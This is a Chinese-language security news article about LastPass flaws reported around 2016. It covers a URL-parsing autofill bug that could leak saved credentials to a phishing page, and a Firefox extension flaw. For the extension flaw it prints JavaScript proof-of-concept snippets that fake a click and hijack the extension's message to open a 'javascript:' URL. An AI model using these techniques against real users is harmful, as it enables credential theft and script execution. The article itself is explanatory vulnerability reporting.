LastPass是全球最流行的云密码管理工具之一。这款工具主打用户的互联网账号和密码管理,和1Pass很相似。在PC端,用户可以使用LastPass提供的浏览器插件对自己的账号密码进行管理,在手机端则是APP。
LastPass除了对账号密码的自动化存储外,还针对某些厂商提供自动化修改密码的方案。LastPass甚至提供了前端的加密服务,以防遭到中间人攻击等。LastPass所采用的加密保护措施足以保护绝大多数用户的安全,LastPass对认证哈希加强了防护,采用了随机因子,并在客户端外的PBKDF2-SHA256服务器端实施了10万次循环处理。表面上听起来非常的安全靠谱,但是事实上真的如此吗?
2014年,就有几名安全专家说过,lastPass并没有想象中的那么安全。因为一旦LastPass的账号被盗或者注册邮箱被盗取,那么全部的互联网账号都不能幸免于难。
2015年,某黑客宣传入侵了LastPass的服务器,并且盗取了全部的数据库。尽管LastPass采用了前段的加密,但是仍然有破解的可能性。
多个安全漏洞
来自Google Project Zero的研究人员Tavis Ormandy目前发现了几个LastPass 0day漏洞。研究人员在Twitter上说到:真有人在用LastPass吗?我就随便看了几眼就发现几个漏洞……
LastPass目前已经紧急修补了该漏洞,也没有公开漏洞细节。这里有一些情况我们不得为知。
另外一名安全人员Mathias Karlsson,也发现了一个LastPass的漏洞:
LastPass根据域名自动填写好账号和密码。比如我浏览一个Google的页面,那么lastpass就会自动填写好账号和密码,我只需要登陆就行了。
如下图所示:
比如当我浏览了http://www.CodeSec.Net/@google.com/login.php ,原本它应该自动化填写好CodeSec的账号和密码,但是它会把这段URL默认为Google的域名,并且填写Google的账号和密码。
假设一台钓鱼服务器,在其网站目录下设置多个大厂商的静态登陆页面,只要LastPass访问该页面并且登陆后,账号和密码也就随之泄露。
命令执行漏洞
昨天晚上(2016/7/27),某位安全研究人员发现了一枚LastPass的命令执行漏洞。LastPass在信息通讯的过程中,会对JS代码做一个可信验证。但是这个并没有多大用。在本地JS代码上做一下修改即可完成一个不可惜通信的交流,甚至是命令执行。
LastPass插件会修改HTML页面中的CCS代码,并且在标签添加一个专用的iframe。这样一来,网页就可以利用javascript代码来创建一个鼠标单击事件(MouseEvent())。并利用正确的X:Y坐标来“模拟点击”LastPass程序图标。一般情况下,网页是不能够直接定向到某一段url地址资源的,但是它可以让LastPass插件来替它完成这部分操作。
function trigger_frame() {var el = document.getElementsByTagName("input")[0];
var pos = el.getBoundingClientRect();
el.dispatchEvent(new MouseEvent("click", {
clientX: pos.width + pos.x - 16,
clientY: pos.height + pos.y - 12,
}));
}
下面这段javascript代码是监听message事件,messageType 的类型是打开url,然后url里的值是JS脚本。如果监听到了 message事件,那么就会弹出1,也可以执行其他脚本。
// 把我们自己编写的信息和合法的信息进行覆盖
function modify_message(a) {
a.data.messagetype = "openURL";
a.data.url="javascript:alert(1)";
// 清除EventListener
window.removeEventListener("message", modify_message);
}
// 插入自己新建的标签
window.addEventListener("message", modify_message);
LastPass目前已经修复该漏洞,并且发表声明称这个漏洞只会影响到火狐的LastPass插件。
总结
虽然LastPass爆出了很多的漏洞,但是这个并不代表密码管理器就是不安全的象征。互联网蓬勃发展的今天,人们少则十多个账号和密码,多则数百个。设置相似的密码则容易遭受到社会工程学盗号或者撞库攻击。密码管理器虽然已经问世,但是还有诸多的安全问题需要考虑。